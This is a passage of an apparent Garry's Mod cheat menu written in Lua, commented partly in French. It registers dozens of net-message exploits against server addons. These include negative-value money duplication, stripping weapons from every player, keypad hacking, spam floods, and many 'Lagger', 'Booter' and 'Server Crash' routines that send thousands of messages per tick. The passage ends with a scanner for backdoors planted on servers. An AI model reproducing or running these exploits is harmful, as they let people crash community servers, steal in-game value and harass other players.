8231status = ValidNetString("ORG_NewOrg")
8232if (status) then
8233CHATPRINT("Exploit Trouvé : New ORG [ORG_NewOrg]")
8234addExploit( "249","New ORG", "", function()
8235surface.PlaySound("garrysmod/ui_click.wav")
8236NOTIFICATION("Starting")
8237net.Start("ORG_NewOrg")
8238net.WriteString("I FUCKING HATE YOU!")
8239net.SendToServer()
8240end )
8241end
8242
8243status = ValidNetString("ORG_VaultDonate")
8244if (status) then
8245CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
8246addExploit( "250","Argent Gratuite #27", "", function()
8247surface.PlaySound("garrysmod/ui_click.wav")
8248NOTIFICATION("Starting")
8249net.Start("ORG_VaultDonate")
8250net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
8251net.SendToServer()
8252end )
8253end
8254
8255status = ValidNetString("Selldatride")
8256if (status) then
8257CHATPRINT("Exploit Trouvé : Sell Datride [Selldatride]")
8258addExploit( "251","Sell Datride", "", function()
8259surface.PlaySound("garrysmod/ui_click.wav")
8260NOTIFICATION("Starting")
8261for k,v in pairs(player.GetAll()) do
8262net.Start("Selldatride")
8263net.WriteEntity(v)
8264net.SendToServer()
8265end
8266end )
8267end
8268
8269status = ValidNetString("passmayorexam")
8270if (status) then
8271CHATPRINT("Exploit Trouvé : Passexam Exploit [passmayorexam]")
8272addExploit( "252","Passexam Exploit", "", function()
8273surface.PlaySound("garrysmod/ui_click.wav")
8274NOTIFICATION("Starting")
8275net.Start("passmayorexam")
8276net.SendToServer()
8277end )
8278end
8279
8280status = ValidNetString("levelup_useperk")
8281if (status) then
8282CHATPRINT("Exploit Trouvé : LevelUp Exploit [levelup_useperk]")
8283addExploit( "253","LevelUp Exploit", "", function()
8284surface.PlaySound("garrysmod/ui_click.wav")
8285NOTIFICATION("Starting")
8286net.Start("levelup_useperk")
8287net.WriteInt(1, 8)
8288net.WriteInt(2, 8)
8289net.WriteInt(3, 8)
8290net.WriteInt(4, 8)
8291net.SendToServer()
8292end )
8293end
8294
8295status = ValidNetString("ZED_SpawnCar")
8296if (status) then
8297CHATPRINT("Exploit Trouvé : ZED Spawn Car [ZED_SpawnCar]")
8298addExploit( "254","ZED Spawn Car", "", function()
8299surface.PlaySound("garrysmod/ui_click.wav")
8300NOTIFICATION("Starting")
8301net.Start("ZED_SpawnCar")
8302net.WriteFloat(1)
8303net.SendToServer()
8304end )
8305end
8306
8307status = ValidNetString("DeployMask") -- 37.230.228.248:27016
8308if (status) then
8309CHATPRINT("Exploit Trouvé : To wear a gas mask at all players [DeployMask]")
8310addExploit( "255","To wear a gas mask", "Exploit puts gas masks on all players, discovered by Leith", function()
8311surface.PlaySound("garrysmod/ui_click.wav")
8312NOTIFICATION("Starting")
8313for k,v in pairs(ents.GetAll()) do
8314net.Start("DeployMask")
8315net.WriteEntity(v)
8316net.SendToServer()
8317end
8318end )
8319end
8320
8321status = ValidNetString("RemoveMask") -- 37.230.228.248:27016
8322if (status) then
8323CHATPRINT("Exploit Trouvé : Remove the gas mask from all players [RemoveMask]")
8324addExploit( "256","Remove the gas mask", "The exploit takes off gas masks from all players, discovered by Leith", function()
8325surface.PlaySound("garrysmod/ui_click.wav")
8326NOTIFICATION("Starting")
8327for k,v in pairs(ents.GetAll()) do
8328net.Start("RemoveMask")
8329net.WriteEntity(v)
8330net.SendToServer()
8331end
8332end )
8333end
8334
8335status = ValidNetString("SwapFilter") -- 37.230.228.248:27016
8336if (status) then
8337CHATPRINT("Exploit Trouvé : Change all filters of a gas mask [SwapFilter]")
8338addExploit( "257","Change all filters", "Exploit changes the filter for all gas masks, discovered by Leith", function()
8339surface.PlaySound("garrysmod/ui_click.wav")
8340NOTIFICATION("Starting")
8341for k,v in pairs(ents.GetAll()) do
8342net.Start("SwapFilter")
8343net.WriteEntity(v)
8344net.SendToServer()
8345end
8346end )
8347end
8348
8349status = ValidNetString("WipeMask") -- 37.230.228.248:27016
8350if (status) then
8351CHATPRINT("Exploit Trouvé : Wipe gas masks [WipeMask]")
8352addExploit( "258","Wipe gas masks", "Exploit wipes all gas masks, discovered by Leith", function()
8353surface.PlaySound("garrysmod/ui_click.wav")
8354NOTIFICATION("Starting")
8355for k,v in pairs(ents.GetAll()) do
8356net.Start("WipeMask")
8357net.WriteEntity(v)
8358net.SendToServer()
8359end
8360end )
8361end
8362
8363status = ValidNetString("UseMedkit") -- 37.230.228.248:27016
8364if (status) then
8365CHATPRINT("Exploit Trouvé : Use Medkit [UseMedkit]")
8366addExploit( "259","Use Medkit", "Exploit uses a first aid kit on all players, discovered by Leith", function()
8367surface.PlaySound("garrysmod/ui_click.wav")
8368NOTIFICATION("Starting")
8369for k,v in pairs(ents.GetAll()) do
8370net.Start("UseMedkit")
8371net.WriteEntity(v)
8372net.SendToServer()
8373end
8374end )
8375end
8376
8377status = ValidNetString("IDInv_RequestBank")
8378if (status) then
8379CHATPRINT("Exploit Trouvé : Lagger #23 [IDInv_RequestBank]")
8380addExploit( "260","Lagger #23", "an exploit in the addon 'IDinventory', discovered by Leith", function()
8381surface.PlaySound("garrysmod/ui_click.wav")
8382NOTIFICATION("Starting")
8383if !timer.Exists("lagger23") then
8384timer.Create("lagger23", 0, 0, function()
8385for i = 1, 1000 do
8386net.Start("IDInv_RequestBank",true)
8387net.SendToServer()
8388end
8389end )
8390end
8391end )
8392end
8393
8394status = ValidNetString("casinokit_chipexchange")
8395if (status) then
8396CHATPRINT("Exploit Trouvé : Lagger #24 [casinokit_chipexchange]")
8397addExploit( "261","Lagger #24", "an exploit in the addon 'CasinoKit', discovered by Leith", function()
8398surface.PlaySound("garrysmod/ui_click.wav")
8399NOTIFICATION("Starting")
8400if !timer.Exists("lagger24") then
8401timer.Create("lagger24", 0, 0, function()
8402for i = 1, 1000 do
8403net.Start("casinokit_chipexchange",true)
8404net.WriteEntity(LocalPlayer())
8405net.WriteString("darkrp")
8406net.WriteBool(false)
8407net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
8408net.SendToServer()
8409end
8410end )
8411end
8412end )
8413end
8414
8415status = ValidNetString("RemoveTag")
8416if (status) then
8417CHATPRINT("Exploit Trouvé : 1tap server [RemoveTag]")
8418addExploit( "262","1tap server", "discovered by Leith", function()
8419surface.PlaySound("garrysmod/ui_click.wav")
8420NOTIFICATION("Starting")
8421timer.Create("1tap", 0.5, 0, function()
8422for i=1, 4000 do
8423net.Start("RemoveTag")
8424net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
8425net.SendToServer()
8426end
8427end )
8428end )
8429end
8430
8431status = ValidNetString("desktopPrinter_Withdraw")
8432if (status) then
8433CHATPRINT("Exploit Trouvé : Lagger #25 [desktopPrinter_Withdraw]")
8434addExploit( "263","Lagger #25", "an exploit in the addon 'Desktop Printers', discovered by Leith", function()
8435surface.PlaySound("garrysmod/ui_click.wav")
8436NOTIFICATION("Starting")
8437if !timer.Exists("lagger25") then
8438timer.Create("lagger25", 0, 0, function()
8439for i = 1, 1000 do
8440net.Start("desktopPrinter_Withdraw",true)
8441net.WriteEntity(LocalPlayer())
8442net.SendToServer()
8443end
8444end )
8445end
8446end )
8447end
8448
8449status = ValidNetString("sphys_dupe")
8450if (status) then
8451CHATPRINT("Exploit Trouvé : Lagger #26 [sphys_dupe]")
8452addExploit( "264","Lagger #26", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8453surface.PlaySound("garrysmod/ui_click.wav")
8454NOTIFICATION("Starting")
8455timer.Create("lagger26", 0.2, 0, function()
8456for i=1,2200 do
8457net.Start("sphys_dupe",true)
8458net.SendToServer()
8459end
8460end )
8461end )
8462end
8463
8464status = ValidNetString("simfphys_gasspill")
8465if (status) then
8466CHATPRINT("Exploit Trouvé : Poop on players [simfphys_gasspill]")
8467addExploit( "265","Poop on players", "an exploit in the addon 'Simfphys', discovered by Solly", function()
8468surface.PlaySound("garrysmod/ui_click.wav")
8469NOTIFICATION("Starting")
8470timer.Create("poop", 0.1, 0, function()
8471for k,v in pairs(player.GetAll()) do
8472for j=1,3 do
8473if IsValid(v) then
8474net.Start("simfphys_gasspill")
8475net.WriteVector(v:GetPos()+Vector(0,0,90))
8476net.WriteVector(v:EyePos())
8477net.SendToServer()
8478end
8479end
8480end
8481end )
8482end )
8483end
8484
8485status = ValidNetString("dronesrewrite_controldr")
8486if (status) then
8487CHATPRINT("Exploit Trouvé : Lagger #27 [dronesrewrite_controldr]")
8488addExploit( "266","Lagger #27", "discovered by Solly", function()
8489surface.PlaySound("garrysmod/ui_click.wav")
8490NOTIFICATION("Starting")
8491timer.Create("lagger27", 0.2, 0, function()
8492for i=1,2200 do
8493net.Start("dronesrewrite_controldr",true)
8494net.SendToServer()
8495end
8496end )
8497end )
8498end
8499
8500
8501status = ValidNetString("SCP-294Sv")
8502if (status) then
8503CHATPRINT("Exploit Trouvé : SCP-294 Exploit [SCP-294Sv]")
8504addExploit( "267","SCP-294 Exploit", "discovered by questionmark", function()
8505surface.PlaySound("garrysmod/ui_click.wav")
8506NOTIFICATION("Starting")
8507for k,v in pairs(ents.GetAll()) do
8508net.Start("SCP-294Sv")
8509net.WriteString("acid")
8510net.WriteEntity(v)
8511net.SendToServer()
8512end
8513end )
8514end
8515
8516status = ValidNetString("phone")
8517if (status) then
8518CHATPRINT("Exploit Trouvé : Call all players [phone]")
8519addExploit( "269","Call all players", "discovered by questionmark", function()
8520surface.PlaySound("garrysmod/ui_click.wav")
8521NOTIFICATION("Starting")
8522for k, v in pairs(player.GetAll()) do
8523net.Start("phone")
8524net.WriteTable{
8525ply=v,
8526act='call'
8527}
8528net.SendToServer()
8529end
8530end )
8531end
8532
8533status = ValidNetString("blueatm")
8534if (status) then
8535CHATPRINT("Exploit Trouvé : Lagger #29 [blueatm]")
8536addExploit( "270","Lagger #29", "an exploit in the addon 'Blue ATM', discovered by Leith", function()
8537surface.PlaySound("garrysmod/ui_click.wav")
8538NOTIFICATION("Starting")
8539timer.Create("lagger29", 0, 0, function()
8540for i = 1, 1000 do
8541net.Start("blueatm",true)
8542net.WriteEntity(LocalPlayer())
8543net.SendToServer()
8544end
8545end )
8546end )
8547end
8548
8549status = ValidNetString("cab_cd_testdrive")
8550if (status) then
8551CHATPRINT("Exploit Trouvé : Stavox Teleport [cab_cd_testdrive]")
8552addExploit( "271","Stavox Teleport", "discovered by Aromatic", function()
8553surface.PlaySound("garrysmod/ui_click.wav")
8554NOTIFICATION("Starting")
8555net.Start('cab_cd_testdrive')
8556net.WriteUInt(0, 3)
8557net.WriteUInt(5, 8)
8558net.SendToServer()
8559end )
8560end
8561
8562status = ValidNetString("cab_sendmessage")
8563if (status) then
8564CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
8565addExploit( "272","Stavox Message", "discovered by Aromatic", function()
8566surface.PlaySound("garrysmod/ui_click.wav")
8567NOTIFICATION("Starting")
8568for k, v in pairs(player.GetAll()) do
8569net.Start("cab_sendmessage")
8570net.WriteEntity(v)
8571net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
8572net.SendToServer()
8573end
8574end )
8575end
8576
8577status = ValidNetString("disguise")
8578if (status) then
8579CHATPRINT("Exploit Trouvé : Lagger #30 [disguise]")
8580addExploit( "273","Lagger #30", "discovered by Aromatic & Leith", function()
8581surface.PlaySound("garrysmod/ui_click.wav")
8582timer.Create("lagger30", 0, 0, function()
8583for i = 1, 1000 do
8584net.Start("disguise",true)
8585net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 32)
8586net.SendToServer()
8587end
8588end )
8589end )
8590end
8591
8592status = ValidNetString("FARMINGMOD_DROPITEM")
8593if (status) then
8594CHATPRINT("Exploit Trouvé : Lagger #31 [FARMINGMOD_DROPITEM]")
8595addExploit( "274","Lagger #31", "discovered by Leith", function()
8596surface.PlaySound("garrysmod/ui_click.wav")
8597timer.Create("lagger31", 0, 0, function()
8598for i = 1, 1000 do
8599net.Start("FARMINGMOD_DROPITEM",true)
8600net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 16)
8601net.SendToServer()
8602end
8603end )
8604end )
8605end
8606
8607status = ValidNetString("SlotsRemoved")
8608if (status) then
8609CHATPRINT("Exploit Trouvé : Lagger #32 [SlotsRemoved]")
8610addExploit( "275","Lagger #32", "an exploit in the addon 'PointShop 2 Perma Weapons', discovered by Leith", function()
8611surface.PlaySound("garrysmod/ui_click.wav")
8612timer.Create("lagger32", 0, 0, function()
8613for i = 1, 1000 do
8614net.Start("SlotsRemoved",true)
8615net.SendToServer()
8616end
8617end )
8618end )
8619end
8620
8621status = ValidNetString("AirDrops_StartPlacement")
8622if (status) then
8623CHATPRINT("Exploit Trouvé : Lagger #33 [AirDrops_StartPlacement]")
8624addExploit( "276","Lagger #33", "an exploit in the addon 'PointShop 2 AirDrops', discovered by Dembi", function()
8625surface.PlaySound("garrysmod/ui_click.wav")
8626timer.Create("lagger33", 0, 0, function()
8627for i = 1, 1000 do
8628net.Start("AirDrops_StartPlacement",true)
8629net.SendToServer()
8630end
8631end )
8632end )
8633end
8634
8635status = ValidNetString("IGS.GetPaymentURL")
8636if (status) then
8637CHATPRINT("Exploit Trouvé : Lagger #35 [IGS.GetPaymentURL]")
8638addExploit( "278","Lagger #35", "an exploit in the 'IGS', discovered by Leith", function()
8639surface.PlaySound("garrysmod/ui_click.wav")
8640timer.Create("lagger35", 0, 0, function()
8641for i = 1, 1000 do
8642net.Start("IGS.GetPaymentURL",true)
8643net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
8644net.SendToServer()
8645end
8646end )
8647end )
8648end
8649
8650status = ValidNetString("fg_printer_money")
8651if (status) then
8652CHATPRINT("Exploit Trouvé : Lagger #36 [fg_printer_money]")
8653addExploit( "279","Lagger #36", "an exploit in the 'FG Printers', discovered by Aromatic", function()
8654surface.PlaySound("garrysmod/ui_click.wav")
8655timer.Create("lagger36", 0, 0, function()
8656for i = 1, 1000 do
8657net.Start('fg_printer_money',true)
8658net.WriteEntity(LocalPlayer())
8659net.SendToServer()
8660end
8661end )
8662end )
8663end
8664
8665status = ValidNetString("tickbookpayfine")
8666if (status) then
8667CHATPRINT("Exploit Trouvé : Lagger #37 [tickbookpayfine]")
8668addExploit( "280","Lagger #37", "an exploit in the 'Ticket Book', discovered by Aromatic", function()
8669surface.PlaySound("garrysmod/ui_click.wav")
8670timer.Create("lagger37", 0, 0, function()
8671for i = 1, 1000 do
8672net.Start("tickbookpayfine",true)
8673net.SendToServer()
8674end
8675end )
8676end )
8677end
8678
8679status = ValidNetString("BeginSpin")
8680if (status) then
8681CHATPRINT("Exploit Trouvé : Lagger #38 [BeginSpin]")
8682addExploit( "281","Lagger #38", "an exploit in the 'Blue Unbox 2', discovered by Leith", function()
8683surface.PlaySound("garrysmod/ui_click.wav")
8684timer.Create("lagger38", 0, 0, function()
8685for i = 1, 1000 do
8686net.Start("BeginSpin",true)
8687net.SendToServer()
8688end
8689end )
8690end )
8691end
8692
8693status = ValidNetString("DuelRequestClient")
8694if (status) then
8695CHATPRINT("Exploit Trouvé : Lagger #39 [DuelRequestClient]")
8696addExploit( "282","Lagger #39", "discovered by Leith", function()
8697surface.PlaySound("garrysmod/ui_click.wav")
8698timer.Create("lagger39", 0, 0, function()
8699for i = 1, 1000 do
8700net.Start("DuelRequestClient",true)
8701net.SendToServer()
8702end
8703end )
8704end )
8705end
8706
8707status = ValidNetString("ncpstoredoact")
8708if (status) then
8709CHATPRINT("Exploit Trouvé : Lagger #40 [ncpstoredoact]")
8710addExploit( "283","Lagger #40", "an exploit in the addon 'NPC Store',discovered by Leith", function()
8711surface.PlaySound("garrysmod/ui_click.wav")
8712timer.Create("lagger40", 0, 0, function()
8713for i = 1, 1000 do
8714net.Start("ncpstoredoact",true)
8715net.SendToServer()
8716end
8717end )
8718end )
8719end
8720
8721status = ValidNetString("PermwepsNPCSellWeapon")
8722if (status) then
8723CHATPRINT("Exploit Trouvé : Lagger #41 [PermwepsNPCSellWeapon]")
8724addExploit( "284","Lagger #41", "discovered by Leith", function()
8725surface.PlaySound("garrysmod/ui_click.wav")
8726timer.Create("lagger41", 0, 0, function()
8727for i = 1, 2000 do
8728net.Start("PermwepsNPCSellWeapon",true)
8729net.WriteString("")
8730net.SendToServer()
8731end
8732end )
8733end )
8734end
8735
8736status = ValidNetString("bitcoins_request_withdraw")
8737if (status) then
8738CHATPRINT("Exploit Trouvé : Lagger #42 [bitcoins_request_withdraw]")
8739addExploit( "285","Lagger #42", "discovered by Leith", function()
8740surface.PlaySound("garrysmod/ui_click.wav")
8741timer.Create("lagger42", 0, 0, function()
8742for i = 1, 2000 do
8743net.Start("bitcoins_request_withdraw",true)
8744net.SendToServer()
8745end
8746end )
8747end )
8748end
8749
8750status = ValidNetString("bitcoins_request_turn_on")
8751if (status) then
8752CHATPRINT("Exploit Trouvé : To include all bitcoin miners [bitcoins_request_turn_on]")
8753addExploit( "286","To include all bitcoin miners", "discovered by Leith", function()
8754surface.PlaySound("garrysmod/ui_click.wav")
8755NOTIFICATION("Starting")
8756for k, v in pairs(ents.GetAll()) do
8757if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8758net.Start("bitcoins_request_turn_on")
8759net.WriteEntity(v)
8760net.SendToServer()
8761end
8762end
8763end)
8764end
8765
8766status = ValidNetString("bitcoins_request_turn_off")
8767if (status) then
8768CHATPRINT("Exploit Trouvé : Disable all bitcoin miners [bitcoins_request_turn_off]")
8769addExploit( "287","Disable all bitcoin miners", "discovered by Leith", function()
8770surface.PlaySound("garrysmod/ui_click.wav")
8771NOTIFICATION("Starting")
8772for k, v in pairs(ents.GetAll()) do
8773if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
8774net.Start("bitcoins_request_turn_off")
8775net.WriteEntity(v)
8776net.SendToServer()
8777end
8778end
8779end)
8780end
8781
8782status = ValidNetString("NET_AM_MakePotion")
8783if (status) then
8784CHATPRINT("Exploit Trouvé : Lagger #43 [NET_AM_MakePotion]")
8785addExploit( "288","Lagger #43", "discovered by Leith", function()
8786surface.PlaySound("garrysmod/ui_click.wav")
8787NOTIFICATION("Starting")
8788timer.Create("lagger43", 0, 0, function()
8789for i = 1, 2000 do
8790net.Start('NET_AM_MakePotion',true)
8791net.WriteEntity(LocalPlayer())
8792net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 8)
8793net.SendToServer()
8794end
8795end )
8796end )
8797end
8798
8799status = ValidNetString("minigun_drones_switch")
8800if (status) then
8801CHATPRINT("Exploit Trouvé : Lagger #44 [minigun_drones_switch]")
8802addExploit( "289","Lagger #44", "discovered by Solly", function()
8803surface.PlaySound("garrysmod/ui_click.wav")
8804NOTIFICATION("Starting")
8805timer.Create("lagger44", 0.2, 0, function()
8806for i=1,2200 do
8807net.Start("minigun_drones_switch",true)
8808net.SendToServer()
8809end
8810end )
8811end )
8812end
8813
8814status = ValidNetString("CW20_PRESET_LOAD")
8815if (status) then
8816CHATPRINT("Exploit Trouvé : Lagger #45 (u need cw2 weapon in hand) [CW20_PRESET_LOAD]")
8817addExploit( "290","Lagger #45", "(u need cw2 weapon in hand),discovered by Solly", function()
8818surface.PlaySound("garrysmod/ui_click.wav")
8819NOTIFICATION("Starting")
8820timer.Create("lagger45", 0.2, 0, function()
8821if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
8822for i=1,2200 do
8823net.Start("CW20_PRESET_LOAD",true)
8824net.SendToServer()
8825end
8826end
8827end )
8828end )
8829end
8830
8831status = ValidNetString("SBP_addtime")
8832if (status) then
8833CHATPRINT("Exploit Trouvé : Lagger #46 [SBP_addtime]")
8834addExploit( "291","Lagger #46", "discovered by Solly", function()
8835surface.PlaySound("garrysmod/ui_click.wav")
8836NOTIFICATION("Starting")
8837timer.Create("lagger46", 0.3, 0, function()
8838for i=1,2200 do
8839net.Start("SBP_addtime",true)
8840net.SendToServer()
8841end
8842end )
8843end )
8844end
8845
8846status = ValidNetString("NetData")
8847if (status) then
8848CHATPRINT("Exploit Trouvé : Outfit player nouser [NetData]")
8849addExploit( "292","Outfit player nouser", "Just noise players near u (discovered by Solly)", function()
8850surface.PlaySound("garrysmod/ui_click.wav")
8851NOTIFICATION("Starting")
8852for k, v in pairs(player.GetAll()) do
8853net.Start("NetData")
8854net.WriteString("OF")
8855net.WriteUInt(4,8)
8856net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
8857net.SendToServer()
8858end
8859end )
8860end
8861
8862status = ValidNetString("SBP_addtime")
8863if (status) then
8864CHATPRINT("Exploit Trouvé : XP Booster [SBP_addtime]")
8865addExploit( "293","XP Booster", "discovered by Solly", function()
8866inputFrameExists = true
8867inputFrame = vgui.Create( "DFrame" )
8868inputFrame:SetTitle("Enter the number")
8869inputFrame:SetSize( 400, 75 )
8870inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
8871inputFrame:SetDraggable(false)
8872inputFrame:ShowCloseButton(true)
8873inputFrame:MakePopup()
8874inputFrame.Paint = function( self, w, h )
8875draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
8876end
8877local TextEntry = vgui.Create( "DTextEntry", inputFrame )
8878TextEntry:SetSize( 380, 30 )
8879TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
8880TextEntry:SetText( "100" )
8881TextEntry.OnEnter = function( self )
8882surface.PlaySound("garrysmod/ui_click.wav")
8883timer.Create("ofn", 0.2, 0, function()
8884for i=1,tonumber(self:GetText()) do
8885net.Start("SBP_addtime")
8886net.SendToServer()
8887end
8888inputFrame:SetVisible(false)
8889end )
8890end
8891end )
8892end
8893
8894 status = ValidNetString("StackGhost")
8895
8896 if (status) then
8897 CHATPRINT("Exploit Trouvé : Booter 24000 #1")
8898
8899 addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer et adrien", function()
8900 surface.PlaySound("garrysmod/ui_click.wav")
8901 NOTIFICATION("Starting")
8902
8903 if !(timer.Exists("Booteur24000")) then
8904 timer.Create("Booteur24000", 0.02, 0, function()
8905 for i = 1, 2000 do
8906 net.Start("StackGhost", true)
8907 net.WriteInt(69, 32)
8908 net.SendToServer()
8909 end
8910 end)
8911 else
8912 timer.Stop("Booteur2400011")
8913 end
8914end)
8915end
8916
8917 status = ValidNetString("pac_submit")
8918
8919 if (status) then
8920 CHATPRINT("Exploit Trouvé: Booter 24000 #2")
8921
8922 addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer et adrien", function()
8923 surface.PlaySound("garrysmod/ui_click.wav")
8924 NOTIFICATION("Starting")
8925
8926 -----------------------------------
8927 timer.Create("Booteur240002", 0.02, 0, function()
8928 for i = 1, 1000 do
8929 Disco.NetStart("pac_submit")
8930 net.SendToServer()
8931 end
8932 end)
8933 end)
8934 ----------------------------------
8935 end
8936
8937 status = ValidNetString("RequestMAPSize")
8938
8939 if (status) then
8940 CHATPRINT("Exploit Trouvé : 1tap server [MapSize]")
8941
8942 addExploit("296", "1tap server [MapSize]", "-1 server", function()
8943 surface.PlaySound("garrysmod/ui_click.wav")
8944 NOTIFICATION("Starting")
8945
8946 -----------------------------------
8947 timer.Create("lagger10", 0, 0, function()
8948 for i = 1, 400 do
8949 net.Start("RequestMAPSize")
8950 net.SendToServer()
8951 end
8952 end)
8953 end)
8954 ----------------------------------
8955 end
8956
8957 status = ValidNetString("properties")
8958
8959 if (status) then
8960 CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip")
8961
8962 addExploit("297", "El Famoso Exploit Strip", "-weapon", function()
8963 surface.PlaySound("garrysmod/ui_click.wav")
8964 NOTIFICATION("Starting")
8965
8966 -----------------------------------
8967 for k, v in pairs(player.GetAll()) do
8968 if v:IsPlayer() then
8969 for k, v in pairs(v:GetWeapons()) do
8970 net.Start("properties")
8971 net.WriteString("remove", 32)
8972 net.WriteEntity(v)
8973 net.SendToServer()
8974 end
8975 end
8976 end
8977 end)
8978 ----------------------------------
8979 end
8980
8981 status = ValidNetString("start_wd_emp")
8982
8983 if (status) then
8984 CHATPRINT("Exploit Trouvé : Hack Keypad")
8985
8986 addExploit("298", "HackKeypad", "Hack Keypad", function()
8987 surface.PlaySound("garrysmod/ui_click.wav")
8988 NOTIFICATION("Starting")
8989 -----------------------------------
8990 net.Start('start_wd_emp')
8991 net.SendToServer()
8992 end)
8993 ----------------------------------
8994 end
8995
8996 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
8997
8998 if (status) then
8999 CHATPRINT("Exploit Trouvé : Server Crash")
9000
9001 addExploit("299", "Server Crash", " ", function()
9002 surface.PlaySound("garrysmod/ui_click.wav")
9003 NOTIFICATION("Starting")
9004
9005 -----------------------------------
9006 timer.Create("crasher2", 0, 0, function()
9007 for i = 1, 400 do
9008 net.Start("pac.net.TouchFlexes.ClientNotify")
9009 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
9010 net.SendToServer()
9011 end
9012 end)
9013 end)
9014 ----------------------------------
9015 end
9016
9017 status = ValidNetString("ItemStoreDrop")
9018
9019 if (status) then
9020 CHATPRINT("Exploit Trouvé : Item booter24000")
9021
9022 addExploit("300", "Item Booter24000", "Un item aussi fort qu'adrien et freezer", function()
9023 surface.PlaySound("garrysmod/ui_click.wav")
9024 NOTIFICATION("Starting")
9025
9026 -----------------------------------
9027 timer.Create("booteur24000items", 0, 0, function()
9028 for i = 1, 1000 do
9029 net.Start("ItemStoreDrop")
9030 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9031 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
9032 net.SendToServer()
9033 end
9034 end)
9035 end)
9036 ----------------------------------
9037 end
9038
9039 status = ValidNetString("TFA_Attachment_RequestAll")
9040
9041 if (status) then
9042 CHATPRINT("Exploit Trouvé : TFA LAGGER")
9043
9044 addExploit("301", "TFA LAGGER", "Oublie pas de porter du TFA", function()
9045 surface.PlaySound("garrysmod/ui_click.wav")
9046 NOTIFICATION("Starting")
9047
9048 -----------------------------------
9049 timer.Create("lagger20", 0.02, 0, function()
9050 for i = 1, 4400 do
9051 net.Start("TFA_Attachment_RequestAll", true)
9052 net.SendToServer()
9053 end
9054 end)
9055 end)
9056 ----------------------------------
9057 end
9058
9059 status = ValidNetString("ts_buytitle")
9060
9061 if (status) then
9062 CHATPRINT("Exploit Trouvé : Lagger #47 [ts_buytitle]")
9063
9064 addExploit("302", "Lagger #47", "an exploit in the addon 'TitleStore'", function()
9065 surface.PlaySound("garrysmod/ui_click.wav")
9066 NOTIFICATION("Starting")
9067
9068 timer.Create("lagger47", 0, 0, function()
9069 for i = 1, 1000 do
9070 net.Start("ts_buytitle", true)
9071 net.WriteTable({})
9072 net.WriteTable({})
9073 net.WriteTable({})
9074 net.SendToServer()
9075 end
9076 end)
9077 end)
9078 end
9079
9080
9081status = ValidNetString("EnterpriseWithdraw")
9082if (status) then
9083CHATPRINT("Exploit Trouvé : ENTERPRISE FOUND! [EnterpriseWithdraw]")
9084addExploit( "1337","ENTERPRISE FOUND!", "discovered by Leith", function()
9085surface.PlaySound("garrysmod/ui_click.wav")
9086NOTIFICATION("Starting")
9087net.Start("EnterpriseWithdraw")
9088net.WriteInt(100, 32)
9089net.SendToServer()
9090end )
9091end
9092
9093status = ValidNetString("SetPermaKnife")
9094if (status) then
9095CHATPRINT("Exploit Trouvé : PERMA KNIFE FOUND [SetPermaKnife]")
9096addExploit( "1337","PERMA KNIFE FOUND", "PERMA KNIFE FOUND", function()
9097surface.PlaySound("garrysmod/ui_click.wav")
9098/*
9099function cockSucker(ply,cmd,args,argStr)
9100local ply = LocalPlayer()
9101
9102net.Start( "SetPermaKnife" )
9103 net.WriteString( string.TrimRight(argStr,".lua") )
9104net.SendToServer()
9105end
9106
9107concommand.Add("gibe_weapon",cockSucker)
9108*/
9109end )
9110end
9111
9112
9113
9114
9115
9116
9117
9118
9119
9120
9121
9122/*================================
9123|===== 88 BACKDOOR =====|
9124=================================*/
9125
9126local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
9127backdoorScrollPanel:Dock( FILL )
9128
9129local triggeringbd = "";
9130
9131function triggeringnetcall( str )
9132 local status, error = pcall( net.Start, str )
9133 return status
9134end
9135
9136 if( triggeringnetcall("memeDoor") ) then
9137 triggeringbd = "memeDoor"
9138 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9139 else
9140 end
9141
9142 if( triggeringnetcall("Remove_Exploiters") ) then
9143 triggeringbd = "Remove_Exploiters"
9144 chat.AddText( Color( 0, 0, 0 ), "[88]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9145 else
9146 end
9147
